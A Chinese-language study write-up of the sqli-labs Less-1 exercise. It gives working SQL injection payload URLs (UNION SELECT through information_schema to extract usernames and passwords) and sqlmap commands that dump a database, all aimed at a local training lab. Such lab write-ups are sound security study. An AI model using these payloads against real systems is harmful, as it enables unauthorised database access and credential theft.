[大数据]sqli-labs练习——sql注入

/***

环境搭建

CSDNhttps://mp.csdn.net/mp_blog/creation/editor/122668696

***/

一、less-1

法一：常规

（1）题目让提交一个参数，没说是get参数还是post参数，那先尝试一下get参数

（2）首先触发网站的异常，如果触发异常了，说明网站存在sql注入漏洞，甚至可以通过报错信息，获取数据库的一些信息。

1）可以通过特殊字符进行尝试

? ? ? ? （空格、#号需要url转义）

????????报如下异常

????????尝试单引号，报如下异常：

????????尝试双引号，没有报异常：

????????

2）通过以上异常测试，只有双引号没有报错，说明双引号在数据库中被使用了，而单引号由于和前面的单引号闭合导致报错，说明我们可以通过单引号将该sql语句闭合。

????????服务器会把单引号后面的指令当作指令来处理，加一个“#”号就可以屏蔽后面的指令了（sql中注释符为#）

????????

3）测试该数据库的列数，url后加上order by，eg：order by 3没有报错，说明至少有3列，4列报错，测试得该数据库有三列

????????

????????

4）使用联合查询union slect 1，2，3，首先要把前面的条件改为不满足的情况，才能使用联合查询。以判断哪一列会在前端中显示，

????????（视频2111242，59:00详细讲解）

????????//***? 联合查询：

????????a、输出两个查询之间的集合。

? ? ? ? b、一般网站只有一个显示的地方，如果联合查询前面查询的内容存在，也只会显示第一个数据，而不显示select后面的内容，为了使select后面的内容显示出来，需要前面的查询没有内容 。

? ? ? ? c、只有列数相同才能进行联合查询，否则报错，如下。

?????????????????????????

????????***//

?????????

? ? ? ? 可以判断本题，第一列不显示，第二列为 name，第三列为password

???5） database()获取正在使用的数据库的名字，为security；

????????

6）获取security数据库中有些哪些表：

????????/***

????????information_schema.tables? ? ? ? ?# information_schema表记录数据库本身的一些信息

? ? ? ? group_concat? ? ? ?# 组合查询，对查询出来的多个结果进行组合输出

? ? ? ? ***/

http://127.0.0.1:8084/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘), 3%23

?????????

?7）对有敏感信息表头的表再次进行查询，如“users”

????????http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23

?????????

????????//***? ? ? ? column 表示列? ? ? ? ?***//

8）进一步查询敏感信息，如uesrname、password

????????http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,password) from users), 3%23?

?

?加分隔符

加换行符：

http://127.0.0.1:8084/Less-1/?id=-1' union select 1,(select group_concat(username,'-',password separator '</br>') from users), 3%23

?成功拿到所有登录名和密码

法二：使用工具sqlmap

（1）使用命令查到服务器数据库

? ? ? ? （sqlmap.py --purge? ?清空初始化

? ? ? ? ? ? ? ? --batch 均使用默认的选项）

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" --dbs

（2）对我们想要查询的数据库求表名

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security --tables

（3）对我们想要查询的表求列名

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --columns

?

（4）发现users里面有name和password，求users的dump数据?

python sqlmap.py -u "127.0.0.1:8084/Less-1/?id=1" -D security -T users --dump

?

?

二、less-2

三、less-3

四、less-4